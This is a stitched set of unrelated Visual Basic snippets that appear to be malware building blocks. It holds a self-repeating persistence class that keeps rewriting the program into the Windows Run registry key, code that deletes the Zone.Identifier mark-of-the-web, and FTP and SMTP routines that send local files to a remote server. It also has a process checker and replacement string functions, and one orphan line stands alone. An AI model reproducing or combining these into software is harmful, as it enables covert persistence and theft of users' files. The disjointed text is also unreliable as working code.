Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hFtpSession As Long, ByVal lpszLocalFile As String, ByVal lpszRemoteFile As String, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean
Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal nService As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long
Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal nAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal nFlags As Long) As Long
Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
Declare Function InternetOpenUrlA Lib "wininet" (ByVal hInternetSession As Long, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long
Const INTERNET_SERVICE_FTP = 1: Global sURL As String

Function FTPUpload(sFile As String, sHost As String, sUser As String, sPass As String)
    Dim hINetSession, hSession, sTemp() As String: sTemp = Split(sFile, "\")
     
    hINetSession = InternetOpen("project", 0, vbNullString, vbNullString, 0)
    hSession = InternetConnect(hINetSession, sHost, "21", sUser, sPass, INTERNET_SERVICE_FTP, 0, 0)
    If FtpPutFile(hSession, sFile, sTemp(UBound(sTemp)), 1, 0) = False Then
        Call InternetCloseHandle(hSession): Call InternetCloseHandle(hINetSession)
    End If
End Function

Option Explicit

Private Const MICROSOFT_CDO_CONFIGURATION$ = "http://schemas.microsoft.com/cdo/configuration/"

Private Declare Function GetFileAttributesW Lib "KERNEL32" (ByVal lpFileName As Long) As Long
Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef lpdwFlags As Long, ByVal dwReserved As Long) As Long

Private lngPort&, strUser$, strPass$, strFrom$, strServer$, strSubject$, strMessage$, strDestinatary$, strAttachedFile$
Private objCDO As Object, bolUseAuntentificacion As Boolean, bolSSL As Boolean

Friend Property Let Server(ByRef Value$): strServer = Value: End Property
Friend Property Let Destinatary(ByRef Value$): strDestinatary = Value: End Property
Friend Property Let From(ByRef Value$): strFrom = Value: End Property
Friend Property Let Subject(ByRef Value$): strSubject = Value: End Property
Friend Property Let Message(ByRef Value$): strMessage = Value: End Property
Friend Property Let AttachedFile(ByRef Value$): strAttachedFile = Value: End Property
Friend Property Let Port(ByVal Value&): lngPort = Value: End Property
Friend Property Let User(ByRef Value$): strUser = Value: End Property
Friend Property Let Password(ByRef Value$): strPass = Value: End Property
Friend Property Let UseAuntentificacion(ByVal Value As Boolean): bolUseAuntentificacion = Value: End Property
Friend Property Let SSL(ByVal Value As Boolean): bolSSL = Value: End Property

Friend Function SendMail() As Boolean
    On Error GoTo FatalError
   
    If InternetGetConnectedState(&H0&, &H0&) Then
        If (LenB(strPass) = 0) Or (LenB(strUser) = 0) Or (LenB(strFrom) = 0) Or (LenB(strServer) = 0) Or (LenB(strDestinatary) = 0) Or ((lngPort < 0) Or (lngPort > &HFDE8&)) Then Exit Function
        With objCDO
            With .Configuration
                .Fields(MICROSOFT_CDO_CONFIGURATION & "smtpserver") = strServer
                .Fields(MICROSOFT_CDO_CONFIGURATION & "sendusing") = &H2&
                With .Fields
                    .Item(MICROSOFT_CDO_CONFIGURATION & "smtpserverport") = lngPort
                    .Item(MICROSOFT_CDO_CONFIGURATION & "smtpauthenticate") = Abs(bolUseAuntentificacion)
                    .Item(MICROSOFT_CDO_CONFIGURATION & "smtpconnectiontimeout") = &HA&
                    If bolUseAuntentificacion Then
                        .Item(MICROSOFT_CDO_CONFIGURATION & "sendusername") = strUser
                        .Item(MICROSOFT_CDO_CONFIGURATION & "sendpassword") = strPass
                        .Item(MICROSOFT_CDO_CONFIGURATION & "smtpusessl") = bolSSL
                    End If
                    .Update
                End With
            End With
            .To = strDestinatary: .From = strFrom: .Subject = strSubject: .TextBody = strMessage
            If LenB(strAttachedFile) Then
                If GetFileAttributesW(StrPtr(strAttachedFile)) > -1 Then .AddAttachment (strAttachedFile)
            End If
            .Send
        End With
        SendMail = True
    End If
FatalError:
End Function

Private Sub Class_Initialize()
    Set objCDO = CreateObject("CDO.Message")
End Sub

Private Sub Class_Terminate()
    Set objCDO = Nothing
End Sub

strNewFile = Replace(strNewFile, Right(strFilePath, 4), ".txt")

Function AltReplace(stExpression As String, stFind As String, stReplace As String) As String
Dim lnStart As Long, lnCount As Long
lnStart = Len(stFind)
AltReplace = stExpression
Do
lnCount = InStr(1, AltReplace, stFind)
If lnCount = 0 Then Exit Do
If lnStart = Len(stReplace) Then
     Mid(AltReplace, lnCount, lnStart) = stReplace
Else
     AltReplace = Left$(AltReplace, lnCount - 1) & stReplace & Mid$(AltReplace, lnCount + lnStart)
End If
Loop
End Function

Imports Microsoft.Win32
Imports System.Runtime.InteropServices

'Credits
'Salmoneus - The rest of the code.
'JeromeMarshall - For tutorial on deleting the ADS entry.

Public Class Startup

    Private Value As String

    Private Delegate Sub C()
    Private Delegate Sub V()
    Private Delegate Sub W()
    Private Delegate Sub L()
    Private Delegate Sub CL()
    Private Delegate Sub DZ()

    Dim T As New Threading.Thread(AddressOf Persistence)

    <DllImport("kernel32", CharSet:=CharSet.Unicode, SetLastError:=True)> _
    Public Shared Function DeleteFile(ByVal name As String) As <MarshalAs(UnmanagedType.Bool)> Boolean
    End Function

    Public Sub New()
  Dim DZone As New DZ(AddressOf DeleteZone)
  Try : DZone.Invoke() : Catch : End Try
  T.Start()
    End Sub

    Private Sub Persistence(ByVal RegValue As String)

  Value = RegValue

  Dim CK As C = New C(AddressOf CreateKey)
  Dim SV As V = New V(AddressOf SetValue)
  Dim WA As W = New W(AddressOf Wait)
  Dim CLO As CL = New CL(AddressOf Close)
  Dim LO As L = New L(AddressOf Looper)

  CK.Invoke()
  WA.Invoke()
  SV.Invoke()
  WA.Invoke()
  CLO.Invoke()
  LO.Invoke()

    End Sub
    Private Sub Wait()
  Dim R As New Random
  Threading.Thread.Sleep(R.Next(100, 300))
    End Sub
    Private Sub Looper()
  Persistence(Value)
    End Sub
    Private Sub CreateKey()
  If BoolCheck = True Then : RegKey.CreateSubKey(AppName) : Else : Exit Sub : End If
  Close()
    End Sub
    Private Sub SetValue()
  If BoolCheck = True Then : RegKey.SetValue(Value, AppName) : Else : Exit Sub : End If
    End Sub
    Private Sub Close()
  RegKey.Close()
    End Sub
    Private Sub DeleteZone()
  If BoolCheck = True Then : DeleteFile(AppName + ":Zone.Identifier") : Else : Exit Sub : End If
    End Sub
    Private ReadOnly Property RegKey As RegistryKey
  Get
    Dim Startup As RegistryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
    Return Startup
  End Get
    End Property
    Private ReadOnly Property RegValue As String
  Get
    Dim Value As String = RegKey.GetValue(AppName)
    Return Value
  End Get
    End Property
    Private ReadOnly Property BoolCheck As Boolean
  Get
    If RegValue <> AppName Then
    Return True
    End If
    Return False
  End Get
    End Property
    Private ReadOnly Property AppName As String
  Get
    Return Application.ExecutablePath.ToString()
  End Get
    End Property
End Class

Public Function AltStrConv(Temp As Variant, Conversion As VbStrConv) As Variant
Dim i As Long, lLen As Long, bvHack(0) As Byte, lHackDelta As Long
Dim bArr() As Byte, sString As String
 
lHackDelta = VarPtr(bvHack(0))
 
If Conversion = vbFromUnicode Then
    sString = Temp
    lLen = Len(sString)
    ReDim bArr(0 To lLen - 1)
    For i = 0 To lLen - 1
        bvHack(VarPtr(bArr(0)) - lHackDelta + i) = bvHack(StrPtr(sString) - lHackDelta + (i * 2))
    Next i
    AltStrConv = bArr
ElseIf Conversion = vbUnicode Then
    bArr = Temp
    lLen = UBound(Temp) + 1
    sString = Space$(lLen)
    For i = 0 To lLen - 1
        bvHack(StrPtr(sString) - lHackDelta + (i * 2)) = bvHack(VarPtr(bArr(0)) - lHackDelta + i)
    Next i
    AltStrConv = sString
End If
 
End Function

Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal dwFlags As Long, th32ProcessID As Long) As Long

Public Type PROCESSENTRY32
    dwSize As Long
    cntUseage As Long
    th32ProcessID As Long
    th32DefaultHeapID As Long
    th32ModuleID As Long
    cntThreads As Long
    th32ParentProcessID As Long
    pcPriClassBase As Long
    swFlags As Long
    szExeFile As String * 1024
End Type

Public Function Running(ByVal sFileName As String) As Boolean
    Dim hSnapshot As Long
    Dim pe32 As PROCESSENTRY32
   
    hSnapshot = CreateToolhelp32Snapshot(2, 0)
    pe32.dwSize = Len(pe32)
    Process32First hSnapshot, pe32
   
    Do While Process32Next(hSnapshot, pe32) <> 0
        If InStr(1, LCase(pe32.szExeFile), LCase(sFileName)) > 0 Then
            Running = True
        End If
    Loop
   
    CloseHandle (hSnapshot)
End Function